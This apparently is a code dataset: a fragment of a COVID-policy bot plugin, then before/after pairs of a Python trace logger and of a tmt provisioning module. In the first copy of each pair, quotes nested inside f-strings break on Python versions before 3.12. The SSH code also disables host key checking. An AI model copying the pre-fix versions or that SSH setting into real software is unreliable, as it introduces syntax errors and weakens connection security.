cid = city['id']
name = city['name']
POLICY_ID[name] = cid
async def get_policy(uid):
url_get_policy = f"https://r.inews.qq.com/api/trackmap/citypolicy?&city_id={uid}"
resp = await get(url_get_policy)
res_ = resp.json()
if res_['message'] != 'success':
return "数据获取失败!"
try:
data = res_['result']['data'][0]
except IndexError:
return "暂无政策信息"
# data['leave_policy_date']
# data['leave_policy']
# data['back_policy_date']
# data['back_policy']
# data['poi_list'] # 风险区域
msg = f"出行({data['leave_policy_date']})\n{data['leave_policy']}\n\
------\n\
进入({data['back_policy_date']})\n{data['back_policy']}"
return msg
NewsBot = NewsData()
@listener(is_plugin=True, outgoing=True, command=alias_command("covid"),
description="获取新冠疫情信息。",
parameters="<地区>")
async def covid_info(context):
global POLICY_ID, NewsBot
await context.edit("正在获取中。。。")
if not POLICY_ID:
await set_pid()
await NewsBot.update_data()
try:
city = await obtain_message(context)
except ValueError:
return await context.edit("[covid] 无法获取城市名!")
zc = False
if city.find("政策") != -1:
zc = True
city = city.replace("政策", "")
city = NewsBot.data.get(city)
if city:
policy = "Tips: 查询出行政策可加上 `政策`"
if zc:
policy = await city.policy
await context.edit(f"{city.main_info}\n\n{policy}")
else:
await context.edit("[covid] 只限查询国内城市或你地理没学好。")
|
#!/usr/bin/env python3
import sys
import inspect
from itypes import addr
TRACE = -1
DEBUG = 0
INFO = 1
WARNING = 2
ERROR = 3
log_level = INFO
def set_trace_level(level):
global log_level
if isinstance(level, str):
level = str_to_level(level)
log_level = level
def str_to_level(str):
if str == "TRACE": return TRACE
if str == "DEBUG": return DEBUG
if str == "INFO": return INFO
if str == "WARNING": return WARNING
if str == "ERROR": return ERROR
raise KeyError(str)
def level_to_str(level):
if level == TRACE: return "TRACE"
if level == DEBUG: return "DEBUG"
if level == INFO: return "INFO"
if level == WARNING: return "WARNING"
if level == ERROR: return "ERROR"
return "(unknown)"
class TraceLogger:
def __init__(self):
info = inspect.stack()[1]
self._container = info.frame.f_locals["__class__"]
self._module_name = self._container.__module__
self._class_name = self._container.__name__
def _message(self, level, message):
global log_level
if level < log_level:
return
info = inspect.stack()[2]
object = info.frame.f_locals["self"]
function_name = info.function
str = ""
str += f"[{level_to_str(level):>7s}] {self._module_name:40s} {self._class_name:25s} {addr(object):14s} {function_name+"()":30s}: {message}"
str += "\n"
sys.stdout.write(str)
sys.stdout.flush()
def info(self, msg):
self._message(INFO, msg)
def debug(self, msg):
self._message(DEBUG, msg)
def trace(self, msg):
self._message(TRACE, msg)
def error(self, msg):
self._message(ERROR, msg)
def warning(self, msg):
self._message(WARNING, msg)
| #!/usr/bin/env python3
import sys
import inspect
from itypes import addr
TRACE = -1
DEBUG = 0
INFO = 1
WARNING = 2
ERROR = 3
log_level = INFO
def set_trace_level(level):
global log_level
if isinstance(level, str):
level = str_to_level(level)
log_level = level
def str_to_level(str):
if str == "TRACE": return TRACE
if str == "DEBUG": return DEBUG
if str == "INFO": return INFO
if str == "WARNING": return WARNING
if str == "ERROR": return ERROR
raise KeyError(str)
def level_to_str(level):
if level == TRACE: return "TRACE"
if level == DEBUG: return "DEBUG"
if level == INFO: return "INFO"
if level == WARNING: return "WARNING"
if level == ERROR: return "ERROR"
return "(unknown)"
class TraceLogger:
def __init__(self):
info = inspect.stack()[1]
self._container = info.frame.f_locals["__class__"]
self._module_name = self._container.__module__
self._class_name = self._container.__name__
def _message(self, level, message):
global log_level
if level < log_level:
return
info = inspect.stack()[2]
object = info.frame.f_locals["self"]
function_name = info.function
str = ""
str += f"[{level_to_str(level):>7s}] {self._module_name:40s} {self._class_name:25s} {addr(object):14s} {function_name+'()':30s}: {message}"
str += "\n"
sys.stdout.write(str)
sys.stdout.flush()
def info(self, msg):
self._message(INFO, msg)
def debug(self, msg):
self._message(DEBUG, msg)
def trace(self, msg):
self._message(TRACE, msg)
def error(self, msg):
self._message(ERROR, msg)
def warning(self, msg):
self._message(WARNING, msg)
|
import os
import random
import re
import shlex
import string
import subprocess
import tempfile
import time
import click
import fmf
import tmt
# Timeout in seconds of waiting for a connection
CONNECTION_TIMEOUT = 60 * 4
# Wait time when reboot happens in seconds
SSH_INITIAL_WAIT_TIME = 5
class Provision(tmt.steps.Step):
""" Provision an environment for testing or use localhost. """
# Default implementation for provision is a virtual machine
how = 'virtual'
def __init__(self, data, plan):
""" Initialize provision step data """
super().__init__(data, plan)
# List of provisioned guests and loaded guest data
self._guests = []
self._guest_data = {}
def load(self, extra_keys=None):
""" Load guest data from the workdir """
extra_keys = extra_keys or []
super().load(extra_keys)
try:
self._guest_data = tmt.utils.yaml_to_dict(self.read('guests.yaml'))
except tmt.utils.FileError:
self.debug('Provisioned guests not found.', level=2)
def save(self, data=None):
""" Save guest data to the workdir """
data = data or {}
super().save(data)
try:
guests = dict(
[(guest.name, guest.save()) for guest in self.guests()])
self.write('guests.yaml', tmt.utils.dict_to_yaml(guests))
except tmt.utils.FileError:
self.debug('Failed to save provisioned guests.')
def wake(self):
""" Wake up the step (process workdir and command line) """
super().wake()
# Choose the right plugin and wake it up
for data in self.data:
plugin = ProvisionPlugin.delegate(self, data)
self._plugins.append(plugin)
# If guest data loaded, perform a complete wake up
plugin.wake(data=self._guest_data.get(plugin.name))
if plugin.guest():
self._guests.append(plugin.guest())
# Nothing more to do if already done
if self.status() == 'done':
self.debug(
'Provision wake up complete (already done before).', level=2)
# Save status and step data (now we know what to do)
else:
self.status('todo')
self.save()
def show(self):
""" Show discover details """
for data in self.data:
ProvisionPlugin.delegate(self, data).show()
def summary(self):
""" Give a concise summary of the provisioning """
# Summary of provisioned guests
guests = fmf.utils.listed(self.guests(), 'guest')
self.info('summary', f'{guests} provisioned', 'green', shift=1)
# Guest list in verbose mode
for guest in self.guests():
if guest.name != tmt.utils.DEFAULT_NAME:
self.verbose(guest.name, color='red', shift=2)
def go(self):
""" Provision all guests"""
super().go()
# Nothing more to do if already done
if self.status() == 'done':
self.info('status', 'done', 'green', shift=1)
self.summary()
self.actions()
return
# Provision guests
self._guests = []
save = True
try:
for plugin in self.plugins():
try:
plugin.go()
if isinstance(plugin, ProvisionPlugin):
plugin.guest().details()
finally:
if isinstance(plugin, ProvisionPlugin):
self._guests.append(plugin.guest())
# Give a summary, update status and save
self.summary()
self.status('done')
except SystemExit as error:
# A plugin will only raise SystemExit if the exit is really desired
# and no other actions should be done. An example of this is
# listing available images. In such case, the workdir is deleted
# as it's redundant and save() would throw an error.
save = False
raise error
finally:
if save:
self.save()
def guests(self):
""" Return the list of all provisioned guests """
return self._guests
def requires(self):
"""
Packages required by all enabled provision plugins
Return a list of packages which need to be installed on the
provisioned guest so that the workdir can be synced to it.
Used by the prepare step.
"""
requires = set()
for plugin in self.plugins(classes=ProvisionPlugin):
requires.update(plugin.requires())
return list(requires)
class ProvisionPlugin(tmt.steps.Plugin):
""" Common parent of provision plugins """
# Default implementation for provision is a virtual machine
how = 'virtual'
# List of all supported methods aggregated from all plugins
_supported_methods = []
@classmethod
def base_command(cls, method_class=None, usage=None):
""" Create base click command (common for all provision plugins) """
# Prepare general usage message for the step
if method_class:
usage = Provision.usage(method_overview=usage)
# Create the command
@click.command(cls=method_class, help=usage)
@click.pass_context
@click.option(
'-h', '--how', metavar='METHOD',
help='Use specified method for provisioning.')
def provision(context, **kwargs):
context.obj.steps.add('provision')
Provision._save_context(context)
return provision
def wake(self, keys=None, data=None):
"""
Wake up the plugin
Override data with command line options.
Wake up the guest based on provided guest data.
"""
super().wake(keys=keys)
def guest(self):
"""
Return provisioned guest
Each ProvisionPlugin has to implement this method.
Should return a provisioned Guest() instance.
"""
raise NotImplementedError
def requires(self):
""" List of required packages needed for workdir sync """
return Guest.requires()
@classmethod
def clean_images(cls, clean, dry):
""" Remove the images of one particular plugin """
class Guest(tmt.utils.Common):
"""
Guest provisioned for test execution
The following keys are expected in the 'data' dictionary::
guest ...... hostname or ip address
port ....... port to connect to
user ....... user name to log in
key ........ path to the private key (str or list)
password ... password
These are by default imported into instance attributes (see the
class attribute '_keys' below).
"""
# List of supported keys
# (used for import/export to/from attributes during load and save)
_keys = ['guest', 'port', 'user', 'key', 'password']
# Master ssh connection process and socket path
_ssh_master_process = None
_ssh_socket_path = None
def __init__(self, data, name=None, parent=None):
""" Initialize guest data """
super().__init__(parent, name)
self.load(data)
def _random_name(self, prefix='', length=16):
""" Generate a random name """
# Append at least 5 random characters
min_random_part = max(5, length - len(prefix))
name = prefix + ''.join(
random.choices(string.ascii_letters, k=min_random_part))
# Return tail (containing random characters) of name
return name[-length:]
def _ssh_guest(self):
""" Return user@guest """
return f'{self.user}@{self.guest}'
def _ssh_socket(self):
""" Prepare path to the master connection socket """
if not self._ssh_socket_path:
socket_dir = f"/run/user/{os.getuid()}/tmt"
os.makedirs(socket_dir, exist_ok=True)
self._ssh_socket_path = tempfile.mktemp(dir=socket_dir)
return self._ssh_socket_path
def _ssh_options(self, join=False):
""" Return common ssh options (list or joined) """
options = [
'-oStrictHostKeyChecking=no',
'-oUserKnownHostsFile=/dev/null',
]
if self.key or self.password:
# Skip ssh-agent (it adds additional identities)
options.extend(['-oIdentitiesOnly=yes'])
if self.port:
options.extend(['-p', str(self.port)])
if self.key:
keys = self.key if isinstance(self.key, list) else [self.key]
for key in keys:
options.extend(['-i', shlex.quote(key) if join else key])
if self.password:
options.extend(['-oPasswordAuthentication=yes'])
# Use the shared master connection
options.extend(["-S", self._ssh_socket()])
return ' '.join(options) if join else options
def _ssh_master_connection(self, command):
""" Check/create the master ssh connection """
if self._ssh_master_process:
return
command = command + self._ssh_options() + ["-MNnT", self._ssh_guest()]
self.debug(f"Create the master ssh connection: {" ".join(command)}")
self._ssh_master_process = subprocess.Popen(
command,
stdin=subprocess.DEVNULL,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
def _ssh_command(self, join=False):
""" Prepare an ssh command line for execution (list or joined) """
command = []
if self.password:
password = shlex.quote(self.password) if join else self.password
command.extend(["sshpass", "-p", password])
command.append("ssh")
# Check the master connection
self._ssh_master_connection(command)
if join:
return " ".join(command) + " " + self._ssh_options(join=True)
else:
return command + self._ssh_options()
def load(self, data):
"""
Load guest data into object attributes for easy access
Called during guest object initialization. Takes care of storing
all supported keys (see class attribute _keys for the list) from
provided data to the guest object attributes. Child classes can
extend it to make additional guest attributes easily available.
Data dictionary can contain guest information from both command
line options / L2 metadata / user configuration and wake up data
stored by the save() method below.
"""
for key in self._keys:
setattr(self, key, data.get(key))
def save(self):
"""
Save guest data for future wake up
Export all essential guest data into a dictionary which will be
stored in the `guests.yaml` file for possible future wake up of
the guest. Everything needed to attach to a running instance
should be added into the data dictionary by child classes.
"""
data = dict()
for key in self._keys:
value = getattr(self, key)
if value is not None:
data[key] = value
return data
def wake(self):
"""
Wake up the guest
Perform any actions necessary after step wake up to be able to
attach to a running guest instance and execute commands. Called
after load() is completed so all guest data should be prepared.
"""
self.debug(f"Doing nothing to wake up guest '{self.guest}'.")
def start(self):
"""
Start the guest
Get a new guest instance running. This should include preparing
any configuration necessary to get it started. Called after
load() is completed so all guest data should be available.
"""
self.debug(f"Doing nothing to start guest '{self.guest}'.")
def details(self):
""" Show guest details such as distro and kernel """
# Skip distro & kernel check in dry mode
if self.opt('dry'):
return
# Distro (check os-release first)
try:
distro = self.execute('cat /etc/os-release')[0].strip()
distro = re.search('PRETTY_NAME="(.*)"', distro).group(1)
except (tmt.utils.RunError, AttributeError):
# Check for lsb-release
try:
distro = self.execute('cat /etc/lsb-release')[0].strip()
distro = re.search(
'DISTRIB_DESCRIPTION="(.*)"', distro).group(1)
except (tmt.utils.RunError, AttributeError):
# Check for redhat-release
try:
distro = self.execute('cat /etc/redhat-release')[0].strip()
except (tmt.utils.RunError, AttributeError):
distro = None
# Handle standard cloud images message when connecting
if distro is not None and 'Please login as the user' in distro:
raise tmt.utils.GeneralError(
f'Login to the guest failed.\n{distro}')
if distro:
self.info('distro', distro, 'green')
# Kernel
kernel = self.execute('uname -r')[0].strip()
self.verbose('kernel', kernel, 'green')
def _ansible_verbosity(self):
""" Prepare verbose level based on the --debug option count """
if self.opt('debug') < 3:
return ''
else:
return ' -' + (self.opt('debug') - 2) * 'v'
@staticmethod
def _ansible_extra_args(extra_args):
""" Prepare extra arguments for ansible-playbook"""
return '' if extra_args is None else str(extra_args)
def _ansible_summary(self, output):
""" Check the output for ansible result summary numbers """
if not output:
return
keys = 'ok changed unreachable failed skipped rescued ignored'.split()
for key in keys:
matched = re.search(rf'^.*\s:\s.*{key}=(\d+).*$', output, re.M)
if matched and int(matched.group(1)) > 0:
tasks = fmf.utils.listed(matched.group(1), 'task')
self.verbose(key, tasks, 'green')
def _ansible_playbook_path(self, playbook):
""" Prepare full ansible playbook path """
# Playbook paths should be relative to the metadata tree root
self.debug(f"Applying playbook '{playbook}' on guest '{self.guest}'.")
playbook = os.path.join(self.parent.plan.my_run.tree.root, playbook)
self.debug(f"Playbook full path: '{playbook}'", level=2)
return playbook
def _export_environment(self, execute_environment=None):
""" Prepare shell export of environment variables """
# Prepare environment variables so they can be correctly passed
# to ssh's shell. Create a copy to prevent modifying source.
environment = dict()
environment.update(execute_environment or dict())
# Plan environment and variables provided on the command line
# override environment provided to execute().
environment.update(self.parent.plan.environment)
# Prepend with export and run as a separate command.
if not environment:
return ''
return 'export {}; '.format(
' '.join(tmt.utils.shell_variables(environment)))
def ansible(self, playbook, extra_args=None):
""" Prepare guest using ansible playbook """
playbook = self._ansible_playbook_path(playbook)
stdout, stderr = self.run(
f'{self._export_environment()}'
f'stty cols {tmt.utils.OUTPUT_WIDTH}; ansible-playbook '
f'--ssh-common-args="{self._ssh_options(join=True)}" '
f'{self._ansible_verbosity()} '
f'{self._ansible_extra_args(extra_args)} -i {self._ssh_guest()},'
f' {playbook}',
cwd=self.parent.plan.worktree)
self._ansible_summary(stdout)
def execute(self, command, **kwargs):
"""
Execute command on the guest
command ... string or list of command arguments (required)
env ....... dictionary with environment variables
cwd ....... working directory to be entered before execution
If the command is provided as a list, it will be space-joined.
If necessary, quote escaping has to be handled by the caller.
"""
# Prepare the export of environment variables
environment = self._export_environment(kwargs.get('env', dict()))
# Change to given directory on guest if cwd provided
directory = kwargs.get('cwd') or ''
if directory:
directory = f"cd '{directory}'; "
# Run in interactive mode if requested
interactive = ['-t'] if kwargs.get('interactive') else []
# Prepare command and run it
if isinstance(command, (list, tuple)):
command = ' '.join(command)
self.debug(f"Execute command '{command}' on guest '{self.guest}'.")
command = (
self._ssh_command() + interactive + [self._ssh_guest()] +
[f'{environment}{directory}{command}'])
return self.run(command, shell=False, **kwargs)
def push(self, source=None, destination=None, options=None):
"""
Push files to the guest
By default the whole plan workdir is synced to the same location
on the guest. Use the 'source' and 'destination' to sync custom
location and the 'options' parametr to modify default options
which are '-Rrz --links --safe-links --delete'.
"""
# Prepare options
if options is None:
options = "-Rrz --links --safe-links --delete".split()
if destination is None:
destination = "/"
if source is None:
source = self.parent.plan.workdir
self.debug(f"Push workdir to guest '{self.guest}'.")
else:
self.debug(f"Copy '{source}' to '{destination}' on the guest.")
# Make sure rsync is present (tests can remove it) and sync
self._check_rsync()
try:
self.run(
["rsync"] + options
+ ["-e", self._ssh_command(join=True)]
+ [source, f"{self._ssh_guest()}:{destination}"],
shell=False)
except tmt.utils.RunError:
# Provide a reasonable error to the user
self.fail(
f"Failed to push workdir to the guest. This usually means "
f"login as '{self.user}' to the test machine does not work.")
raise
def pull(self, source=None, destination=None, options=None):
"""
Pull files from the guest
By default the whole plan workdir is synced from the same
location on the guest. Use the 'source' and 'destination' to
sync custom location and the 'options' parametr to modify
default options '-Rrz --links --safe-links --protect-args'.
"""
# Prepare options
if options is None:
options = "-Rrz --links --safe-links --protect-args".split()
if destination is None:
destination = "/"
if source is None:
source = self.parent.plan.workdir
self.debug(f"Pull workdir from guest '{self.guest}'.")
else:
self.debug(f"Copy '{source}' from the guest to '{destination}'.")
# Make sure rsync is present (tests can remove it) and sync
self._check_rsync()
self.run(
["rsync"] + options
+ ["-e", self._ssh_command(join=True)]
+ [f"{self._ssh_guest()}:{source}", destination],
shell=False)
def stop(self):
"""
Stop the guest
Shut down a running guest instance so that it does not consume
any memory or cpu resources. If needed, perform any actions
necessary to store the instance status to disk.
"""
# Close the master ssh connection
if self._ssh_master_process:
self.debug("Close the master ssh connection.", level=3)
try:
self._ssh_master_process.terminate()
self._ssh_master_process.wait(timeout=3)
except subprocess.TimeoutExpired:
pass
# Remove the ssh socket
if self._ssh_socket_path and os.path.exists(self._ssh_socket_path):
self.debug(
f"Remove ssh socket '{self._ssh_socket_path}'.", level=3)
try:
os.unlink(self._ssh_socket_path)
except OSError as error:
self.debug(f"Failed to remove the socket: {error}", level=3)
def reboot(self, hard=False):
"""
Reboot the guest, return True if successful
Parameter 'hard' set to True means that guest should be
rebooted by way which is not clean in sense that data can be
lost. When set to False reboot should be done gracefully.
"""
if hard:
raise tmt.utils.ProvisionError(
"Method does not support hard reboot.")
try:
self.execute("reboot")
except tmt.utils.RunError as error:
# Connection can be closed by the remote host even before the
# reboot command is completed. Let's ignore such errors.
if error.returncode == 255:
self.debug(
f"Seems the connection was closed too fast, ignoring.")
else:
raise
return self.reconnect()
def reconnect(self):
""" Ensure the connection to the guest is working after reboot """
# Try to wait for machine to really shutdown sshd
time.sleep(SSH_INITIAL_WAIT_TIME)
self.debug("Wait for a connection to the guest.")
for attempt in range(1, CONNECTION_TIMEOUT):
try:
self.execute('whoami')
break
except tmt.utils.RunError:
self.debug('Failed to connect to the guest, retrying.')
time.sleep(1)
if attempt == CONNECTION_TIMEOUT:
self.debug("Connection to guest failed after reboot.")
return False
return True
def remove(self):
"""
Remove the guest
Completely remove all guest instance data so that it does not
consume any disk resources.
"""
self.debug(f"Doing nothing to remove guest '{self.guest}'.")
def _check_rsync(self):
"""
Make sure that rsync is installed on the guest
For now works only with RHEL based distributions.
On read-only distros install under the '/root/pkg' directory.
"""
self.debug("Ensure that rsync is installed on the guest.", level=3)
self.execute(
"rsync --version --quiet || "
# Regular yum install on read-write distros
"if [[ ! -f /usr/bin/rpm-ostree ]]; then yum install -y rsync; "
# Install under /root/pkg for read-only distros
"else yum install -y --installroot=/root/pkg --releasever / rsync "
"&& ln -sf /root/pkg/bin/rsync /usr/local/bin/rsync; fi")
@classmethod
def requires(cls):
""" No extra requires needed """
return []
| import os
import random
import re
import shlex
import string
import subprocess
import tempfile
import time
import click
import fmf
import tmt
# Timeout in seconds of waiting for a connection
CONNECTION_TIMEOUT = 60 * 4
# Wait time when reboot happens in seconds
SSH_INITIAL_WAIT_TIME = 5
class Provision(tmt.steps.Step):
""" Provision an environment for testing or use localhost. """
# Default implementation for provision is a virtual machine
how = 'virtual'
def __init__(self, data, plan):
""" Initialize provision step data """
super().__init__(data, plan)
# List of provisioned guests and loaded guest data
self._guests = []
self._guest_data = {}
def load(self, extra_keys=None):
""" Load guest data from the workdir """
extra_keys = extra_keys or []
super().load(extra_keys)
try:
self._guest_data = tmt.utils.yaml_to_dict(self.read('guests.yaml'))
except tmt.utils.FileError:
self.debug('Provisioned guests not found.', level=2)
def save(self, data=None):
""" Save guest data to the workdir """
data = data or {}
super().save(data)
try:
guests = dict(
[(guest.name, guest.save()) for guest in self.guests()])
self.write('guests.yaml', tmt.utils.dict_to_yaml(guests))
except tmt.utils.FileError:
self.debug('Failed to save provisioned guests.')
def wake(self):
""" Wake up the step (process workdir and command line) """
super().wake()
# Choose the right plugin and wake it up
for data in self.data:
plugin = ProvisionPlugin.delegate(self, data)
self._plugins.append(plugin)
# If guest data loaded, perform a complete wake up
plugin.wake(data=self._guest_data.get(plugin.name))
if plugin.guest():
self._guests.append(plugin.guest())
# Nothing more to do if already done
if self.status() == 'done':
self.debug(
'Provision wake up complete (already done before).', level=2)
# Save status and step data (now we know what to do)
else:
self.status('todo')
self.save()
def show(self):
""" Show discover details """
for data in self.data:
ProvisionPlugin.delegate(self, data).show()
def summary(self):
""" Give a concise summary of the provisioning """
# Summary of provisioned guests
guests = fmf.utils.listed(self.guests(), 'guest')
self.info('summary', f'{guests} provisioned', 'green', shift=1)
# Guest list in verbose mode
for guest in self.guests():
if guest.name != tmt.utils.DEFAULT_NAME:
self.verbose(guest.name, color='red', shift=2)
def go(self):
""" Provision all guests"""
super().go()
# Nothing more to do if already done
if self.status() == 'done':
self.info('status', 'done', 'green', shift=1)
self.summary()
self.actions()
return
# Provision guests
self._guests = []
save = True
try:
for plugin in self.plugins():
try:
plugin.go()
if isinstance(plugin, ProvisionPlugin):
plugin.guest().details()
finally:
if isinstance(plugin, ProvisionPlugin):
self._guests.append(plugin.guest())
# Give a summary, update status and save
self.summary()
self.status('done')
except SystemExit as error:
# A plugin will only raise SystemExit if the exit is really desired
# and no other actions should be done. An example of this is
# listing available images. In such case, the workdir is deleted
# as it's redundant and save() would throw an error.
save = False
raise error
finally:
if save:
self.save()
def guests(self):
""" Return the list of all provisioned guests """
return self._guests
def requires(self):
"""
Packages required by all enabled provision plugins
Return a list of packages which need to be installed on the
provisioned guest so that the workdir can be synced to it.
Used by the prepare step.
"""
requires = set()
for plugin in self.plugins(classes=ProvisionPlugin):
requires.update(plugin.requires())
return list(requires)
class ProvisionPlugin(tmt.steps.Plugin):
""" Common parent of provision plugins """
# Default implementation for provision is a virtual machine
how = 'virtual'
# List of all supported methods aggregated from all plugins
_supported_methods = []
@classmethod
def base_command(cls, method_class=None, usage=None):
""" Create base click command (common for all provision plugins) """
# Prepare general usage message for the step
if method_class:
usage = Provision.usage(method_overview=usage)
# Create the command
@click.command(cls=method_class, help=usage)
@click.pass_context
@click.option(
'-h', '--how', metavar='METHOD',
help='Use specified method for provisioning.')
def provision(context, **kwargs):
context.obj.steps.add('provision')
Provision._save_context(context)
return provision
def wake(self, keys=None, data=None):
"""
Wake up the plugin
Override data with command line options.
Wake up the guest based on provided guest data.
"""
super().wake(keys=keys)
def guest(self):
"""
Return provisioned guest
Each ProvisionPlugin has to implement this method.
Should return a provisioned Guest() instance.
"""
raise NotImplementedError
def requires(self):
""" List of required packages needed for workdir sync """
return Guest.requires()
@classmethod
def clean_images(cls, clean, dry):
""" Remove the images of one particular plugin """
class Guest(tmt.utils.Common):
"""
Guest provisioned for test execution
The following keys are expected in the 'data' dictionary::
guest ...... hostname or ip address
port ....... port to connect to
user ....... user name to log in
key ........ path to the private key (str or list)
password ... password
These are by default imported into instance attributes (see the
class attribute '_keys' below).
"""
# List of supported keys
# (used for import/export to/from attributes during load and save)
_keys = ['guest', 'port', 'user', 'key', 'password']
# Master ssh connection process and socket path
_ssh_master_process = None
_ssh_socket_path = None
def __init__(self, data, name=None, parent=None):
""" Initialize guest data """
super().__init__(parent, name)
self.load(data)
def _random_name(self, prefix='', length=16):
""" Generate a random name """
# Append at least 5 random characters
min_random_part = max(5, length - len(prefix))
name = prefix + ''.join(
random.choices(string.ascii_letters, k=min_random_part))
# Return tail (containing random characters) of name
return name[-length:]
def _ssh_guest(self):
""" Return user@guest """
return f'{self.user}@{self.guest}'
def _ssh_socket(self):
""" Prepare path to the master connection socket """
if not self._ssh_socket_path:
socket_dir = f"/run/user/{os.getuid()}/tmt"
os.makedirs(socket_dir, exist_ok=True)
self._ssh_socket_path = tempfile.mktemp(dir=socket_dir)
return self._ssh_socket_path
def _ssh_options(self, join=False):
""" Return common ssh options (list or joined) """
options = [
'-oStrictHostKeyChecking=no',
'-oUserKnownHostsFile=/dev/null',
]
if self.key or self.password:
# Skip ssh-agent (it adds additional identities)
options.extend(['-oIdentitiesOnly=yes'])
if self.port:
options.extend(['-p', str(self.port)])
if self.key:
keys = self.key if isinstance(self.key, list) else [self.key]
for key in keys:
options.extend(['-i', shlex.quote(key) if join else key])
if self.password:
options.extend(['-oPasswordAuthentication=yes'])
# Use the shared master connection
options.extend(["-S", self._ssh_socket()])
return ' '.join(options) if join else options
def _ssh_master_connection(self, command):
""" Check/create the master ssh connection """
if self._ssh_master_process:
return
command = command + self._ssh_options() + ["-MNnT", self._ssh_guest()]
self.debug(f"Create the master ssh connection: {' '.join(command)}")
self._ssh_master_process = subprocess.Popen(
command,
stdin=subprocess.DEVNULL,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL)
def _ssh_command(self, join=False):
""" Prepare an ssh command line for execution (list or joined) """
command = []
if self.password:
password = shlex.quote(self.password) if join else self.password
command.extend(["sshpass", "-p", password])
command.append("ssh")
# Check the master connection
self._ssh_master_connection(command)
if join:
return " ".join(command) + " " + self._ssh_options(join=True)
else:
return command + self._ssh_options()
def load(self, data):
"""
Load guest data into object attributes for easy access
Called during guest object initialization. Takes care of storing
all supported keys (see class attribute _keys for the list) from
provided data to the guest object attributes. Child classes can
extend it to make additional guest attributes easily available.
Data dictionary can contain guest information from both command
line options / L2 metadata / user configuration and wake up data
stored by the save() method below.
"""
for key in self._keys:
setattr(self, key, data.get(key))
def save(self):
"""
Save guest data for future wake up
Export all essential guest data into a dictionary which will be
stored in the `guests.yaml` file for possible future wake up of
the guest. Everything needed to attach to a running instance
should be added into the data dictionary by child classes.
"""
data = dict()
for key in self._keys:
value = getattr(self, key)
if value is not None:
data[key] = value
return data
def wake(self):
"""
Wake up the guest
Perform any actions necessary after step wake up to be able to
attach to a running guest instance and execute commands. Called
after load() is completed so all guest data should be prepared.
"""
self.debug(f"Doing nothing to wake up guest '{self.guest}'.")
def start(self):
"""
Start the guest
Get a new guest instance running. This should include preparing
any configuration necessary to get it started. Called after
load() is completed so all guest data should be available.
"""
self.debug(f"Doing nothing to start guest '{self.guest}'.")
def details(self):
""" Show guest details such as distro and kernel """
# Skip distro & kernel check in dry mode
if self.opt('dry'):
return
# Distro (check os-release first)
try:
distro = self.execute('cat /etc/os-release')[0].strip()
distro = re.search('PRETTY_NAME="(.*)"', distro).group(1)
except (tmt.utils.RunError, AttributeError):
# Check for lsb-release
try:
distro = self.execute('cat /etc/lsb-release')[0].strip()
distro = re.search(
'DISTRIB_DESCRIPTION="(.*)"', distro).group(1)
except (tmt.utils.RunError, AttributeError):
# Check for redhat-release
try:
distro = self.execute('cat /etc/redhat-release')[0].strip()
except (tmt.utils.RunError, AttributeError):
distro = None
# Handle standard cloud images message when connecting
if distro is not None and 'Please login as the user' in distro:
raise tmt.utils.GeneralError(
f'Login to the guest failed.\n{distro}')
if distro:
self.info('distro', distro, 'green')
# Kernel
kernel = self.execute('uname -r')[0].strip()
self.verbose('kernel', kernel, 'green')
def _ansible_verbosity(self):
""" Prepare verbose level based on the --debug option count """
if self.opt('debug') < 3:
return ''
else:
return ' -' + (self.opt('debug') - 2) * 'v'
@staticmethod
def _ansible_extra_args(extra_args):
""" Prepare extra arguments for ansible-playbook"""
return '' if extra_args is None else str(extra_args)
def _ansible_summary(self, output):
""" Check the output for ansible result summary numbers """
if not output:
return
keys = 'ok changed unreachable failed skipped rescued ignored'.split()
for key in keys:
matched = re.search(rf'^.*\s:\s.*{key}=(\d+).*$', output, re.M)
if matched and int(matched.group(1)) > 0:
tasks = fmf.utils.listed(matched.group(1), 'task')
self.verbose(key, tasks, 'green')
def _ansible_playbook_path(self, playbook):
""" Prepare full ansible playbook path """
# Playbook paths should be relative to the metadata tree root
self.debug(f"Applying playbook '{playbook}' on guest '{self.guest}'.")
playbook = os.path.join(self.parent.plan.my_run.tree.root, playbook)
self.debug(f"Playbook full path: '{playbook}'", level=2)
return playbook
def _export_environment(self, execute_environment=None):
""" Prepare shell export of environment variables """
# Prepare environment variables so they can be correctly passed
# to ssh's shell. Create a copy to prevent modifying source.
environment = dict()
environment.update(execute_environment or dict())
# Plan environment and variables provided on the command line
# override environment provided to execute().
environment.update(self.parent.plan.environment)
# Prepend with export and run as a separate command.
if not environment:
return ''
return 'export {}; '.format(
' '.join(tmt.utils.shell_variables(environment)))
def ansible(self, playbook, extra_args=None):
""" Prepare guest using ansible playbook """
playbook = self._ansible_playbook_path(playbook)
stdout, stderr = self.run(
f'{self._export_environment()}'
f'stty cols {tmt.utils.OUTPUT_WIDTH}; ansible-playbook '
f'--ssh-common-args="{self._ssh_options(join=True)}" '
f'{self._ansible_verbosity()} '
f'{self._ansible_extra_args(extra_args)} -i {self._ssh_guest()},'
f' {playbook}',
cwd=self.parent.plan.worktree)
self._ansible_summary(stdout)
def execute(self, command, **kwargs):
"""
Execute command on the guest
command ... string or list of command arguments (required)
env ....... dictionary with environment variables
cwd ....... working directory to be entered before execution
If the command is provided as a list, it will be space-joined.
If necessary, quote escaping has to be handled by the caller.
"""
# Prepare the export of environment variables
environment = self._export_environment(kwargs.get('env', dict()))
# Change to given directory on guest if cwd provided
directory = kwargs.get('cwd') or ''
if directory:
directory = f"cd '{directory}'; "
# Run in interactive mode if requested
interactive = ['-t'] if kwargs.get('interactive') else []
# Prepare command and run it
if isinstance(command, (list, tuple)):
command = ' '.join(command)
self.debug(f"Execute command '{command}' on guest '{self.guest}'.")
command = (
self._ssh_command() + interactive + [self._ssh_guest()] +
[f'{environment}{directory}{command}'])
return self.run(command, shell=False, **kwargs)
def push(self, source=None, destination=None, options=None):
"""
Push files to the guest
By default the whole plan workdir is synced to the same location
on the guest. Use the 'source' and 'destination' to sync custom
location and the 'options' parametr to modify default options
which are '-Rrz --links --safe-links --delete'.
"""
# Prepare options
if options is None:
options = "-Rrz --links --safe-links --delete".split()
if destination is None:
destination = "/"
if source is None:
source = self.parent.plan.workdir
self.debug(f"Push workdir to guest '{self.guest}'.")
else:
self.debug(f"Copy '{source}' to '{destination}' on the guest.")
# Make sure rsync is present (tests can remove it) and sync
self._check_rsync()
try:
self.run(
["rsync"] + options
+ ["-e", self._ssh_command(join=True)]
+ [source, f"{self._ssh_guest()}:{destination}"],
shell=False)
except tmt.utils.RunError:
# Provide a reasonable error to the user
self.fail(
